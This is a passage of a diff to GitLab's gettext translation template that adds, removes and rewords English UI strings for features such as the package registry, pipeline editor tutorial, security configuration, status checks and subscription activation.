msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19217,6 +19587,9 @@ msgstr ""
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr ""
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr ""
@@ -19705,7 +20078,7 @@ msgstr ""
msgid "Manage"
msgstr ""
-msgid "Manage Web IDE features"
+msgid "Manage Web IDE features."
msgstr ""
msgid "Manage access"
@@ -19963,6 +20336,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -20050,6 +20426,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr ""
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20245,6 +20624,9 @@ msgstr ""
msgid "Memory Usage"
msgstr ""
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr ""
@@ -20296,9 +20678,6 @@ msgstr ""
msgid "Merge request"
msgstr ""
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr ""
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -20587,10 +20966,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20691,6 +21070,9 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -20865,10 +21247,10 @@ msgstr ""
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
-msgid "Migrated %{success_count}/%{total_count} files."
+msgid "Migration"
msgstr ""
msgid "Migration has been scheduled to be retried"
@@ -21125,6 +21507,12 @@ msgstr ""
msgid "Monday"
msgstr ""
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr ""
@@ -21257,6 +21645,9 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21284,6 +21675,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -21451,9 +21845,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21553,9 +21944,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -21903,7 +22291,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -21930,6 +22318,9 @@ msgstr ""
msgid "No data to display"
msgstr ""
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr ""
@@ -22143,6 +22534,9 @@ msgstr ""
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -22469,6 +22863,9 @@ msgstr ""
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr ""
@@ -22849,7 +23246,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -22948,7 +23345,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -23014,6 +23411,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr ""
@@ -23041,6 +23441,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
@@ -23083,6 +23486,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -23104,6 +23510,9 @@ msgstr ""
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -23155,9 +23564,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23167,6 +23585,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23182,6 +23603,9 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -23227,6 +23651,9 @@ msgstr ""
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23239,12 +23666,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23341,7 +23762,7 @@ msgstr ""
msgid "Pages Domain"
msgstr ""
-msgid "Pages getting started guide"
+msgid "Pagination|First"
msgstr ""
msgid "Pagination|Go to first page"
@@ -23356,6 +23777,9 @@ msgstr ""
msgid "Pagination|Go to previous page"
msgstr ""
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr ""
@@ -23407,6 +23831,9 @@ msgstr ""
msgid "Password"
msgstr ""
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr ""
@@ -23542,6 +23969,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -23620,6 +24050,9 @@ msgstr ""
msgid "Pipeline Schedules"
msgstr ""
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr ""
@@ -23674,6 +24107,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -23740,6 +24221,9 @@ msgstr ""
msgid "Pipelines|API"
msgstr ""
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -23797,6 +24281,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -23818,6 +24305,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -23872,6 +24362,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr ""
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -23902,9 +24395,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24202,9 +24692,15 @@ msgstr ""
msgid "Please provide a name"
msgstr ""
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24241,6 +24737,9 @@ msgstr ""
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr ""
@@ -24250,6 +24749,9 @@ msgstr ""
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr ""
@@ -24283,9 +24785,6 @@ msgstr ""
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr ""
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24313,6 +24812,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24469,6 +24971,9 @@ msgstr ""
msgid "Preview"
msgstr ""
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr ""
@@ -24823,7 +25328,7 @@ msgstr ""
msgid "Profiles|Profile was successfully updated"
msgstr ""
-msgid "Profiles|Public Avatar"
+msgid "Profiles|Public avatar"
msgstr ""
msgid "Profiles|Public email"
@@ -25081,6 +25586,9 @@ msgstr ""
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25234,9 +25742,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
@@ -25711,9 +26216,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr ""
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr ""
-
msgid "Projects to index"
msgstr ""
@@ -25765,12 +26267,6 @@ msgstr ""
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr ""
-msgid "ProjectsNew|Blank"
-msgstr ""
-
-msgid "ProjectsNew|Blank project"
-msgstr ""
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -25783,6 +26279,9 @@ msgstr ""
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr ""
@@ -25795,9 +26294,6 @@ msgstr ""
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr ""
-
msgid "ProjectsNew|Description format"
msgstr ""
@@ -25813,10 +26309,10 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
-msgid "ProjectsNew|No import options available"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
msgstr ""
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
+msgid "ProjectsNew|No import options available"
msgstr ""
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
@@ -25825,9 +26321,6 @@ msgstr ""
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr ""
-
msgid "ProjectsNew|Visibility Level"
msgstr ""
@@ -26575,9 +27068,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -26587,6 +27077,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -26685,7 +27178,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -26918,9 +27411,6 @@ msgstr ""
msgid "Remove spent time"
msgstr ""
-msgid "Remove stage"
-msgstr ""
-
msgid "Remove time estimate"
msgstr ""
@@ -26936,6 +27426,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr ""
@@ -27879,6 +28372,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28456,16 +28961,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28480,6 +28994,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -28492,6 +29009,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -28504,10 +29024,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -28516,6 +29036,9 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28570,6 +29093,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28588,9 +29114,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28612,9 +29135,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -28783,6 +29303,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr ""
@@ -28849,6 +29372,9 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29083,6 +29609,9 @@ msgstr ""
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr ""
@@ -29236,9 +29765,6 @@ msgstr ""
msgid "Set due date"
msgstr ""
-msgid "Set instance-wide template repository"
-msgstr ""
-
msgid "Set iteration"
msgstr ""
@@ -29473,9 +29999,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr ""
@@ -29714,6 +30237,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -29807,6 +30336,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr ""
@@ -30044,6 +30576,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30350,6 +30885,9 @@ msgstr ""
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -30365,10 +30903,13 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "Stage data updated"
+msgid "StageName|Build"
+msgstr ""
+
+msgid "StageName|Deploy"
msgstr ""
-msgid "Stage removed"
+msgid "StageName|Test"
msgstr ""
msgid "Standard"
@@ -30590,18 +31131,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30635,9 +31215,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -30692,6 +31269,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -30797,6 +31377,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -30908,6 +31491,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr ""
@@ -30932,6 +31518,9 @@ msgstr ""
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr ""
@@ -31043,42 +31632,93 @@ msgstr ""
msgid "Sunday"
msgstr ""
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -31088,18 +31728,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -31118,6 +31788,9 @@ msgstr ""
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr ""
@@ -31340,6 +32013,9 @@ msgstr ""
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr ""
@@ -31494,9 +32170,6 @@ msgstr ""
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr ""
@@ -31636,6 +32309,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -31666,7 +32342,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
